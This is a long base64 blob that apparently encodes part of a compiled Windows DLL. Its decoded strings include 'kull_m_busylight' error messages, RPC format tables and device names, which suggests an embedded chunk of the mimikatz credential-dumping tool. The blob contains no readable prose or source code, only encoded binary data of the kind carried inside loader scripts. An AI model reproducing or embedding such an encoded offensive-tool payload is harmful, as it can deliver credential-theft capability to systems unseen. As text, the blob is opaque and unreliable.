AAAADgstI/AAAAANh+0j8AAAAA2H7SPwAAAABITtI/AAAAAEhO0j8AAAAAuB3SPwAAAAC4HdI/AAAAAKDw0T8AAAAAoPDRPwAAAACIw9E/AAAAAIjD0T8AAAAAcJbRPwAAAABwltE/AAAAAFhp0T8AAAAAWGnRPwAAAAC4P9E/AAAAALg/0T8AAAAAoBLRPwAAAACgEtE/AAAAAADp0D8AAAAAAOnQPwAAAADYwtA/AAAAANjC0D8AAAAAOJnQPwAAAAA4mdA/AAAAABBz0D8AAAAAEHPQPwAAAABwSdA/AAAAAHBJ0D8AAAAAwCbQPwAAAADAJtA/AAAAAJgA0D8AAAAAmADQPwAAAADgtM8/AAAAAOC0zz8AAAAAgG/PPwAAAACAb88/AAAAACAqzz8AAAAAICrPPwAAAADA5M4/AAAAAMDkzj8AAAAAYJ/OPwAAAABgn84/AAAAAABazj8AAAAAAFrOPwAAAACQG84/AAAAAJAbzj8AAAAAMNbNPwAAAAAw1s0/AAAAAMCXzT8AAAAAwJfNPwAAAABQWc0/AAAAAFBZzT8AAAAA4BrNPwAAAADgGs0/AAAAAGDjzD8AAAAAYOPMPwAAAADwpMw/AAAAAPCkzD8AAAAAcG3MPwAAAABwbcw/AAAAAAAvzD8AAAAAAC/MPwAAAACA98s/AAAAAID3yz8AAAAAAMDLPwAAAAAAwMs/AAAAAAAA4D90YW5oAAAAAGF0YW4AAAAAYXRhbjIAAABzaW4AY29zAHRhbgBjZWlsAAAAAGZsb29yAAAAZmFicwAAAABtb2RmAAAAAGxkZXhwAAAAX2NhYnMAAABfaHlwb3QAAGZtb2QAAAAAZnJleHAAAABfeTAAX3kxAF95bgBfbG9nYgAAAF9uZXh0YWZ0ZXIAAAAAAAAUAAAAYHUHEB0AAABkdQcQGgAAAFR1BxAbAAAAWHUHEB8AAABAfwcQEwAAAEh/BxAhAAAAyH0HEA4AAABodQcQDQAAAHB1BxAPAAAA0H0HEBAAAADYfQcQBQAAAHh1BxAeAAAA4H0HEBIAAADkfQcQIAAAAOh9BxAMAAAA7H0HEAsAAAD0fQcQFQAAAPx9BxAcAAAABH4HEBkAAAAMfgcQEQAAABR+BxAYAAAAHH4HEBYAAAAkfgcQFwAAACx+BxAiAAAANH4HECMAAAA4fgcQJAAAADx+BxAlAAAAQH4HECYAAABIfgcQc2luaAAAAABjb3NoAAAAAAAAAAAAAPB/////////738AAAAAAAAAgCUwNGh1JTAyaHUlMDJodSUwMmh1JTAyaHUlMDJodVoAQgB1AHMAeQBsAGkAZwBoAHQAIABMAHkAbgBjACAAbQBvAGQAZQBsACAAKAB3AGkAdABoACAAYgBvAG8AdABsAG8AYQBkAGUAcgApAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAFUAQwAgAG0AbwBkAGUAbAAAAAAAawB1AGEAbgBkAG8AQgBPAFgAAABCAHUAcwB5AGwAaQBnAGgAdAAgAE8AbQBlAGcAYQAgAG0AbwBkAGUAbAAAAEIAdQBzAHkAbABpAGcAaAB0ACAATAB5AG4AYwAgAG0AbwBkAGUAbAAgACgATQBpAGMAcgBvAGMAaABpAHAAIABJAGQAKQAAAEYAdQBqAGkAdABzAHUAIABNAE0ATQAyAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAgACgAaABLAGUAZQBwAEEAbABpAHYAZQBUAGgAcgBlAGEAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAaABCAHUAcwB5ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGQAZQB2AGkAYwBlAEgAYQBuAGQAbABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcgBlAHEAdQBlAHMAdABfAGMAcgBlAGEAdABlACAAOwAgAGMAbwB1AG4AdAA9ACUAdQAgACgAbQBhAHgAIABpAHMAIAA3ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3AC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lUDAABAAIACAAEAAEAAACkAAIAAAB0AQMAAABGAv////+YAv//twgAAAAAECcAABYDHABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcWwgICAgICAhcWxsDHAAZAAAAAQBLXEhJHAAAAAUAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXFtMAH//WxoDCAAAAAgATABo/zZbEgCu/7cIAAAAABAnAAAWA2gAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXEZcFAAUABIIJVxGXBgAGAASCCVcWwgICAgICAgICAhMAEX4TABB+EwAPfhMADn4WxsDaAAZAAAAAQBLXEhJaAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABJ/1saAwgAAAAIAEwAMv82WxIAnv+3CAAAAAAQJwAAFgNsAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgICEwAbvdMAGr3TABm90wAYvdcWxsDbAAZAAAAAQBLXEhJbAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABH/1saAwgAAAAIAEwAMP82WxIAnv+3CAAAAAAQJwAAFgMcAEtcRlwYABgAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAABABgAGAASCCVcW0wAx/9bGgMIAAAACABMALD/NlsSAM7/AAAAAAAAAEgAAAAAAAAYADIAAABEAEAARwUIBwEAAQAAAAoABAACAAsACAAYABMgDABAABABEABIAHAAFAAIAABIAAAAAAEACAAw4AAAAAA4AEAARAIIAQAAAAAAABgBAABQAHAABAAIAABIAAAAAAMAGAAwQAAAAAAsACQARwYIBwEAAQAAAAgAAABUAEgABAAIAAsBCABcAFAhDAAIABMBEAC6AnAAFAAIAABIAAAAAAwAGAAwQAAAAAAsACQARwYIBwEAAQAAAAgAAABUAEgABAAIAAsBCACGBVAhDAAIABMhEADiBXAAFAAIAABIAAAAABAAGAAwQAAAAAAsACQARwYIBwEAAQAAAAgAAABUAEgABAAIAAsBCABuBlAhDAAIABMhEACcBnAAFAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAANUJR4wZL0RGrBADAT8Lc0gQAAAAEXYiK6xzJEZ/oCAArEEhgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOoDAAAAAAgA6wMAAAAAAAHsAwAAAAAAQO0DAAAAAEAAAAEDCBIhNU5ngLLkAAAAAAEAAAAMcggQHHIIEAAAAABAcggQXHIIEHxyCBCQcggQRFsIEKxyCBDUcggQ4HIIEPByCBAUcwgQKHMIEERzCBBkcwgQeHMIECBeCBAIXAgQkHMIEKRzCBC4cwgQ4HMIEAB0CBAYdAgQOHQIEFx0CBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUUhVMgAYAAA5ADcAAAYwACIAVDpPUAAPAAAWABQAADUEAAAAACssACoAAAA+NgBARQAAHwBGAAAAACQACwANTQ4AAAATSSUAITguAD8ARAAAQwAAAAAAQQBMAAFLAD0AHjxOAABXAFInGSkAAAMCMVMAAAAAEQA7NCgACCYAVgAAAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHwABAgMEBQYHCAkKCwwNDg8AAQIDBAUGBwABAgMAAQAALXgwAFgwAAAGAAAAAAAAAGaDHQxQT3INZYoIQiaLdgNuZXkbTgpXVxcVXGULFAYRAjSMcBwfEGiBiDEOYn9xSFMFfGUbaRprd4mCVDUYZzkHQGViYgR4GXVGe2UbPIAPbx5+ZQlqfQAAAQIDBAYIAIkDfwNtA20DbQOpA6kDqQOpA6kDqQNsA6kDqQMQAysDKwOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kD+QKpA6kDqQOpAzEDqQOpA6kDqQOpA6kDOQM4Ax4DNgMvAzMDMgNuA28DaANpA2cDawOpA1ADXwNPA1kDXgNlA10DWgNSA1EDkQOQA1MDqQOpA6kDVAOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDfwPJAs8CVQOJA38DfwN/A1YDFAMLA2IDYQNgA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDEAOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA4sDEAMSAwoDuwI1AyADIAMgAxEDCgPgAp8DKwMrA90CKwNqA6kD/AI+A/wCNQMCAxcDAgM1AxcDxwIXA8cCcwNzAyQDHwMkAx8DFwMwAyUDLgMsAzUDcwP6AvoC+gLvAncDdwNzA/oC4AL6Au8C+gL6AqkDzALyAo4DjgOKA4oDigOKA5oD4gLiApoDqQOVA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA0QDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOBA6kDqQOpA4ADqQOpA6kDowOpA6kDqQOpA6kDqQMtA6kDJgOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6cDqQOpA0YDqQNFA0kDqQPBAqkDAACSAZMDlACUAZQBlAGTApMCkwKTApMDkwWYBpoBnACcA5sAmQWZAqAAoAKiAqQApASkBqUCqQKpAqkEqQOpA6kCqQOpBakCqQSpBKkBqQKuAK4BsACwArICsgOyA7IDswKzArMBswGzArEDsQK0ALQCtAKfALYBtwK3B7cFtwW3CroArACsA7sAuwK8AbwBkwS+Ar4AkwGhAsEJywTLBcMBwwHDAM4AxAPEAsQEzwLPAMUAxQLRAtEA0AfQCZ0AnQK/AtIB0gLSA9IE1ALUANMA0wPTAtUE1QDJAMkDuAS4Aq0BrQGtAMcAxwPIAMgCygDKAsoEygSTBsYAxgKTCNcF1wOTBpMH2ALYAdkA2QPWA9YBqwOqAasBqwGrA6sFqgGqAasBqwOrBasEqgGrA6sDqwOrA6sDqwOrA6sD2gHaAqsDqwWrAqsDqwOrBKsCqwKrAqsC2wHbAqsFqwXdBd0E3gLeANwB3ADNAMwDzAGTDN8B3wCvAK8DuQW5A+AA4AKTBKcCqAK9Ab0BvQHCAMICwgPhBuEIjgGPAo8BkAGQA5EAlQCVAZUClwGXAJMCngSeApYBlgGWAaQBpQGmAaYBowKjAKkCnwK1A7UBtgC6AbwBwAHBAc4CzwGrAc0BpwEAAAcABwAJAAoACgANAA8AEgAVABcAGQAaAB8AIQAmAC8AMAA1ADcAOQA8AEQARABIAE0ATQBRAFUAWQBbAGMAaQBsAGwAcgB4AH4AfgCBAIQAiQCNAJQAmgCmAKkArwCzALwAxQDHAMsA0ADXANoA3wDlAOkA7ADzAPgA+gABAQMBCQERARYBFgEnAS4BLwE2AToBPgFCAUYBSQFLAVEBUwFZAV8BYwFoAXABdgEAABAQAhAQAAICAQAAAH0dAhAyGgIQNhwCEEwdAhDotQAQiR0CEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcGAAABAQABAAAAADAxMjM0NTY3ODlBQkNERUYwMTIzNDU2Nzg5YWJjZGVmAAAAAADKmjsAypo70AcAAOgDAAD0AQAAqGEAAH8AAAAKAAAAUMMAAOcDAADoAwAAAAAAADMuMTMuMAAAAAAAAAAAAAAAAAAAAAEBAQEBAAAAAAAAAAAAAAAAAAAAAAAAAQCAAEAAAIAAAAAAAAAAAAwMDAwMDAwMDAwAAAAAAAAACgoKCgoKAgICAgICAgICAgICAgICAgICAgKAAAAAQIAqKioqKioiIiIiIiIiIiIiIiIiIiIiIiIiIgAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAaUwgQIGQIEChkCBAwZAgQOGQIEAABAgQJDA8UAAAAAAECAAICAAAAJV8AADs5ODoDAAAAreIAEBzjABBn5AAQjOUAEJrmABAG5wAQWugAEFXqABAA6gAQKOsAECntABAv7QAQAAAAAAAAAAAAAAAAAAAAAOTuABA/7wAQKj9bAFUA8QGlAMgB9AEPAhsCHwIhAiUCOAKk/0QCHgJ5AMf/mgBTAVICVwJdAl8CZAJpAm0CbwJ2AnsCfwKFAocCjAKOApEClQKXAp0CnwKkAqcCrQKvArYCugK9Ar8CxgLIAswC0ALVAtgC3gLjAucCEgBhAIMA6AJwAZ//n/+f/5//n/+f/5//n/+f/5//n/+f/5//n/+f/5//n/+f/5//n/+f/5//n/+f/5//n/+f/5//n/+f/5//LgEuAZ//4v+U/2oAn//gAC8A6f/9ACIBvQHJAbcA3gEhAf0Bxv8IABYBn//+ASAAIwIsAp//TgLBAp//n/+f/wAATQCiAM4A3QAJASQBXgGTAbMBFwJAAoACkgKuArACNwG1AsACxQLHAksCUQKLAskCzQLXAs4A5gLrAv8CAgMKAwsDQwK+AtoCDgPdAtEC0gLTAuIC5QL7AvQC/gIAA/wCAwPOAhYD9gLbAv0C8QIBAx0DBAP1Ah8DIgMjAyUDFQMXA/IC9wL4AgUDLAMGAwgDDAMQAw0DJgMqAy4DLwMoAwkDEQMwAzIDNQM2Ay0DOAM5AxIDSgNNA1YDVwNeA18DYQNjA1IDQgNHA1gDfFwIEIhcCBCQXAgQmFwIEEJJTkFSWQAASGkIEAABAgMEBggIAAAAAAAAAQECAgMDBAQFBQYGBwcICAkJCgoLCwwMDQ0ODg8PEBARERISExMUFBUVFhYXFxgYGRkaGhsbHBwdHR4eHx8gICEhIiIjIyQkJSUmJicnKCgpKSoqKyssLC0tLi4vLzAwMTEyMjMzNDQ1NTY2Nzc4ODk5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA